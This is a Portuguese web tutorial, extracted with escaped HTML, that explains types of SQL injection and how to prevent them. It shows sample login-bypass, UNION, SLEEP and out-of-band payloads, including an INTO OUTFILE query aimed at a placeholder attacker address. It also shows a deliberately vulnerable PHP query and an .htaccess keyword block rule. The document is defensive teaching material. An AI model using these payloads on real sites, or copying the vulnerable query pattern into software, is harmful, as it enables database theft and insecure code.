O que \u00e9 Inje\u00e7\u00e3o SQL?<\/h2>\n
Linguagem de Consulta Estruturada (SQL – Structured Query Language) \u00e9 uma linguagem que nos permite interagir com bancos de dados<\/a>. Os aplicativos modernos da web usam bancos de dados para gerenciar dados e exibir conte\u00fado din\u00e2mico aos leitores.<\/p>\n A Inje\u00e7\u00e3o SQL (ou SQLi) ocorre quando um usu\u00e1rio tenta inserir instru\u00e7\u00f5es SQL mal-intencionadas em um aplicativo da web. Se for bem-sucedido, ele poder\u00e1 acessar dados confidenciais no banco de dados.<\/p>\n Em 2023, as inje\u00e7\u00f5es SQL continuam sendo um dos ataques mais comuns na web. Somente em 2022, 1162 vulnerabilidades de Inje\u00e7\u00e3o SQL<\/a> foram adicionadas ao banco de dados de seguran\u00e7a CVE.<\/p>\n A boa not\u00edcia \u00e9 que as inje\u00e7\u00f5es SQL n\u00e3o s\u00e3o t\u00e3o predominantes como antes. A maioria dos aplicativos evoluiu para se proteger contra ataques de SQL.<\/p>\n Em 2012, 97% de todas as viola\u00e7\u00f5es de dados<\/a> foram causadas por inje\u00e7\u00f5es SQL. Atualmente, esse n\u00famero ainda \u00e9 alto, mas muito mais gerenci\u00e1vel.<\/p>\n Uma vulnerabilidade de Inje\u00e7\u00e3o SQL d\u00e1 a um invasor acesso completo ao banco de dados do seu aplicativo por meio do uso de instru\u00e7\u00f5es SQL mal-intencionadas.<\/p>\n Vamos dar uma olhada em um exemplo de aplicativo vulner\u00e1vel.<\/p>\n Imagine o fluxo de trabalho de um aplicativo web t\u00edpico que envolve solicita\u00e7\u00f5es de banco de dados por meio de entradas do usu\u00e1rio. Voc\u00ea recebe a entrada do usu\u00e1rio por meio de um formul\u00e1rio, por exemplo, um formul\u00e1rio de login. Em seguida, voc\u00ea consulta o banco de dados com os campos enviados pelo usu\u00e1rio para autentic\u00e1-lo. A estrutura da consulta ao seu banco de dados \u00e9 mais ou menos assim:<\/p>\n Para simplificar, vamos supor que voc\u00ea esteja armazenando suas senhas como texto simples. No entanto, \u00e9 uma boa pr\u00e1tica usar o “salt” para as suas senhas<\/a> e depois fazer o hash delas. Continuando, se voc\u00ea tiver recebido o nome de usu\u00e1rio e a senha do formul\u00e1rio, poder\u00e1 definir a consulta em PHP da seguinte forma:<\/p>\n Se algu\u00e9m inserir o valor “admin’;–” no campo de nome de usu\u00e1rio, a consulta SQL resultante que a vari\u00e1vel $db_query gerar\u00e1 ser\u00e1 a seguinte:<\/p>\n O que essa consulta faz?<\/p>\n No SQL, o s\u00edmbolo — inicia um coment\u00e1rio, portanto, tudo o que vem depois dele \u00e9 ignorado. Isso efetivamente remove a verifica\u00e7\u00e3o de senha da consulta. Como resultado, se “admin” for um nome de usu\u00e1rio v\u00e1lido, o invasor poder\u00e1 fazer login sem saber a senha. Isso \u00e9, pelo menos, se voc\u00ea n\u00e3o tiver nenhuma seguran\u00e7a contra esses tipos de ataques.<\/p>\n Como alternativa, um ataque booleano tamb\u00e9m pode ser usado neste exemplo para obter acesso. Se um invasor digitar “password’ ou 1=1;-” no campo de senha, a consulta resultante ser\u00e1 a seguinte:<\/p>\n Nesse caso, mesmo que sua senha esteja errada, voc\u00ea ser\u00e1 autenticado no aplicativo. Se a sua p\u00e1gina da web exibir os resultados da consulta ao banco de dados, um invasor poder\u00e1 usar o comando para mostrar tabelas, o comando para exibir as tabelas no banco de dados e, em seguida, excluir seletivamente as tabelas, se assim desejar.<\/p>\n Exploits of a Mom, uma popular hist\u00f3ria em quadrinhos do XKCD, mostra a conversa de uma m\u00e3e com a escola do seu filho, na qual ela \u00e9 questionada se realmente deu ao filho o nome de “Robert’); DROP TABLE Students; -“.<\/p>\n Agora que voc\u00ea conhece os conceitos b\u00e1sicos de uma vulnerabilidade de Inje\u00e7\u00e3o SQL, vamos explorar os v\u00e1rios tipos de ataques de Inje\u00e7\u00e3o SQL e o motivo por tr\u00e1s de cada um deles.<\/p>\n A Inje\u00e7\u00e3o SQL In-Band \u00e9 a forma mais simples de Inje\u00e7\u00e3o SQL. Nesse processo, o invasor pode usar o mesmo canal para inserir o c\u00f3digo SQL malicioso no aplicativo e coletar os resultados.<\/p>\n Vamos dar uma olhada em duas formas de ataques de Inje\u00e7\u00e3o SQL In-Band.<\/p>\n Um ataque baseado em erro ocorre quando algu\u00e9m manipula intencionalmente a consulta SQL para gerar um erro no banco de dados. A mensagem de erro retornada pelo banco de dados geralmente inclui informa\u00e7\u00f5es sobre a estrutura do banco de dados, que o invasor pode usar para explorar ainda mais o sistema.<\/p>\n Por exemplo, um invasor pode inserir ‘ OR ‘1’=’1 em um campo de formul\u00e1rio. Se o aplicativo for vulner\u00e1vel, ele poder\u00e1 retornar uma mensagem de erro que revela informa\u00e7\u00f5es sobre o banco de dados.<\/p>\n Os ataques de Inje\u00e7\u00e3o SQL baseados em uni\u00e3o usam o operador SQL UNION para combinar os resultados da consulta original com os resultados de consultas maliciosas injetadas.<\/p>\n Isso permite que o invasor recupere informa\u00e7\u00f5es de outras tabelas do banco de dados:<\/p>\n Nessa consulta, o operador UNION combina os resultados da consulta original com os resultados de SELECT username<\/em>, password<\/em> FROM user_table<\/em>. Se o aplicativo for vulner\u00e1vel e n\u00e3o tratar adequadamente a entrada do usu\u00e1rio, ela pode retornar uma p\u00e1gina que inclui nomes de usu\u00e1rio e senhas da tabela de usu\u00e1rios.<\/p>\n Mesmo que um invasor gere um erro na consulta SQL, a resposta da consulta pode n\u00e3o ser transmitida diretamente para a p\u00e1gina da web. Nesse caso, o invasor precisar\u00e1 fazer uma sondagem adicional.<\/p>\n Nessa forma de Inje\u00e7\u00e3o SQL, o invasor envia v\u00e1rias consultas ao banco de dados para avaliar como o aplicativo analisa essas respostas. Uma Inje\u00e7\u00e3o SQL inferencial \u00e0s vezes tamb\u00e9m \u00e9 conhecida como Inje\u00e7\u00e3o SQL cega.<\/p>\n Veremos a seguir dois tipos de inje\u00e7\u00f5es SQL inferenciais: inje\u00e7\u00e3o SQL booleana e inje\u00e7\u00e3o SQL baseada em tempo.<\/p>\n Se uma consulta SQL resultar em um erro que n\u00e3o tenha sido tratado internamente no aplicativo, a p\u00e1gina da web resultante poder\u00e1 gerar um erro, carregar uma p\u00e1gina em branco ou carregar parcialmente. Em uma Inje\u00e7\u00e3o SQL booleana, um invasor avalia quais partes da entrada de um usu\u00e1rio s\u00e3o vulner\u00e1veis a inje\u00e7\u00f5es SQL, tentando duas vers\u00f5es diferentes de uma cl\u00e1usula booleana na entrada:<\/p>\n Essas consultas s\u00e3o projetadas para ter uma condi\u00e7\u00e3o que ser\u00e1 verdadeira ou falsa. Se a condi\u00e7\u00e3o for verdadeira, a p\u00e1gina ser\u00e1 carregada normalmente. Se for falsa, a p\u00e1gina poder\u00e1 carregar de forma diferente ou mostrar um erro.<\/p>\n Ao observar como a p\u00e1gina \u00e9 carregada, o invasor pode determinar se a condi\u00e7\u00e3o era verdadeira ou falsa, mesmo que n\u00e3o veja a consulta SQL real ou a resposta do banco de dados. Se voc\u00ea reunir v\u00e1rias condi\u00e7\u00f5es semelhantes, poder\u00e1 extrair lentamente informa\u00e7\u00f5es do banco de dados.<\/p>\n Um ataque de Inje\u00e7\u00e3o SQL baseado em tempo pode ajudar um invasor a determinar se h\u00e1 uma vulnerabilidade<\/a> em um aplicativo da web. Um invasor utiliza uma fun\u00e7\u00e3o baseada em tempo predefinida do sistema de gerenciamento de banco de dados que \u00e9 usado pelo aplicativo. Por exemplo, no MySQL<\/a>, a fun\u00e7\u00e3o sleep()<\/em><\/a> instrui o banco de dados a esperar por um determinado n\u00famero de segundos.<\/p>\n Se essa consulta resultar em um atraso, o invasor saber\u00e1 que ela \u00e9 vulner\u00e1vel. Essa abordagem \u00e9 semelhante aos ataques booleanos, pois voc\u00ea n\u00e3o obt\u00e9m uma resposta real do banco de dados. No entanto, voc\u00ea pode obter informa\u00e7\u00f5es dele se o ataque for bem-sucedido.<\/p>\n Em um ataque de Inje\u00e7\u00e3o SQL Out-of-Band, o invasor manipula a consulta SQL para instruir o banco de dados a transmitir dados para um servidor controlado pelo invasor. Normalmente, isso \u00e9 feito por meio de fun\u00e7\u00f5es de banco de dados que podem solicitar recursos externos, como fazer solicita\u00e7\u00f5es HTTP ou consultas DNS.<\/p>\n Um ataque de Inje\u00e7\u00e3o SQL fora de banda usa um recurso de processo de arquivo externo do seu DBMS. No MySQL, as fun\u00e7\u00f5es LOAD_FILE() e INTO OUTFILE podem ser usadas para solicitar ao MySQL que transmita os dados para uma fonte externa.<\/p>\n Veja como um invasor pode usar OUTFILE para enviar os resultados de uma consulta a uma fonte externa:<\/p>\n Da mesma forma, a fun\u00e7\u00e3o LOAD_FILE() pode ser usada para ler um arquivo do servidor e exibir seu conte\u00fado. Uma combina\u00e7\u00e3o de LOAD_FILE() e OUTFILE pode ser usada para ler o conte\u00fado de um arquivo no servidor e, em seguida, transmiti-lo para um local diferente.<\/p>\n At\u00e9 agora, exploramos as vulnerabilidades em um aplicativo web que podem levar a ataques de Inje\u00e7\u00e3o SQL. Uma vulnerabilidade de Inje\u00e7\u00e3o SQL pode ser usada por um invasor para ler, modificar ou at\u00e9 mesmo remover o conte\u00fado do seu banco de dados.<\/p>\n Al\u00e9m disso, ela tamb\u00e9m pode permitir a leitura de um arquivo em qualquer local do servidor e a transfer\u00eancia do conte\u00fado para outro local. Nesta se\u00e7\u00e3o, exploraremos v\u00e1rias t\u00e9cnicas para proteger seu aplicativo web e site contra-ataques de Inje\u00e7\u00e3o SQL.<\/p>\n De modo geral, \u00e9 uma tarefa dif\u00edcil determinar se uma string de caracteres do usu\u00e1rio \u00e9 mal-intencionada ou n\u00e3o. Portanto, uma abordagem comum \u00e9 neutralizar caracteres especiais na entrada do usu\u00e1rio. Esse processo pode ajudar voc\u00ea a se proteger contra-ataques de Inje\u00e7\u00e3o SQL.<\/p>\n No PHP, voc\u00ea pode neutralizar uma string de caracteres antes de criar a consulta usando a fun\u00e7\u00e3o Ao exibir a entrada do usu\u00e1rio como HTML, tamb\u00e9m \u00e9 importante converter caracteres especiais em seus caracteres HTML correspondentes para evitar ataques de XSS (Cross-Site Scripting). Voc\u00ea pode converter caracteres especiais no PHP usando a fun\u00e7\u00e3o Alternativamente, voc\u00ea pode usar prepared statements para evitar inje\u00e7\u00f5es SQL. Um prepared statement \u00e9 um modelo de consulta SQL, onde voc\u00ea especifica par\u00e2metros em um momento posterior para execut\u00e1-la.<\/p>\n Aqui est\u00e1 um exemplo de uma prepared statement em PHP e MySQLi:<\/p>\n O pr\u00f3ximo passo para mitigar essa vulnerabilidade \u00e9 limitar o acesso ao banco de dados apenas ao que \u00e9 necess\u00e1rio.<\/p>\n Por exemplo, voc\u00ea pode conectar seu aplicativo web ao SGBD usando um usu\u00e1rio espec\u00edfico que tenha acesso apenas ao banco de dados relevante.<\/p>\n Al\u00e9m disso, voc\u00ea deve restringir o acesso do usu\u00e1rio do banco de dados a todos os outros locais do servidor. Voc\u00ea tamb\u00e9m pode querer bloquear determinadas palavras-chave SQL em sua URL por meio do servidor web.<\/p>\n Se estiver usando o Apache<\/a> como servidor web, voc\u00ea poder\u00e1 usar as seguintes linhas de c\u00f3digo no arquivo .htaccess<\/em><\/a> para mostrar um erro403 Forbidden<\/em><\/a> para um poss\u00edvel invasor.<\/p>\n Voc\u00ea deve ter cuidado antes de usar essa t\u00e9cnica, pois o Apache mostrar\u00e1 um erro a um leitor se a URL contiver essas palavras-chave.<\/p>\nComo funciona a vulnerabilidade de Inje\u00e7\u00e3o SQL?<\/h2>\n
select * from user_table\nwhere username = 'sdaityari'\nand password = 'mypassword';<\/code><\/pre>\n\/\/ Connect to SQL database\n$db_query = \"select * from user_table where\nusername = '\".$user.\"'\nAND password = '\".$password.\"';\";\n\/\/ Execute query<\/code><\/pre>\nselect * from user_table where\nusername = 'admin';--' and password = 'mypassword'<\/code><\/pre>\nselect * from user_table where\nusername = 'admin' and\npassword = 'password' or 1=1;--';<\/code><\/pre>\n![\"Um](\"https:\/\/kinsta.com\/wp-content\/uploads\/2023\/09\/sql-injection-cartoon.png\")
Tipos de Inje\u00e7\u00e3o SQL<\/h2>\n
Inje\u00e7\u00e3o SQL In-Band<\/h3>\n
Ataque baseado em erro<\/h4>\n
Ataque baseado em uni\u00e3o<\/h4>\n
select title, link from post_table\nwhere id < 10\nunion\nselect username, password\nfrom user_table; --;<\/code><\/pre>\nInje\u00e7\u00e3o SQL inferencial (Inje\u00e7\u00e3o SQL cega)<\/h2>\n
Ataque booleano<\/h4>\n
\n
Ataque baseado em tempo<\/h4>\n
select * from comments\nWHERE post_id=1-SLEEP(15);<\/code><\/pre>\nInje\u00e7\u00e3o SQL Out-of-Band<\/h2>\n
select * from post_table\ninto OUTFILE '\\\\MALICIOUS_IP_ADDRESSlocation'<\/code><\/pre>\nComo evitar inje\u00e7\u00f5es SQL<\/h2>\n
Neutralize entradas do usu\u00e1rio<\/h3>\n
mysqli_real_escape_string()<\/code>:<\/p>\n$unsafe_variable = $_POST[\"user_input\"]; $safe_variable = mysqli_real_escape_string($conn, $unsafe_variable);<\/code><\/pre>\nhtmlspecialchars()<\/code>.<\/p>\nUse Prepared Statements<\/h3>\n
$query = $mysql_connection->prepare(\"select * from user_table where username = ? and password = ?\");\n$query->execute(array($username, $password));<\/code><\/pre>\nOutras medidas preventivas para evitar ataques SQL<\/h3>\n
RewriteCond %{QUERY_STRING} [^a-z](declare\u00a6char\u00a6set\u00a6cast\u00a6convert\u00a6delete\u00a6drop\u00a6exec\u00a6insert\u00a6meta\u00a6script\u00a6select\u00a6truncate\u00a6update)[^a-z] [NC]\nRewriteRule (.*) - [F]<\/code><\/pre>\n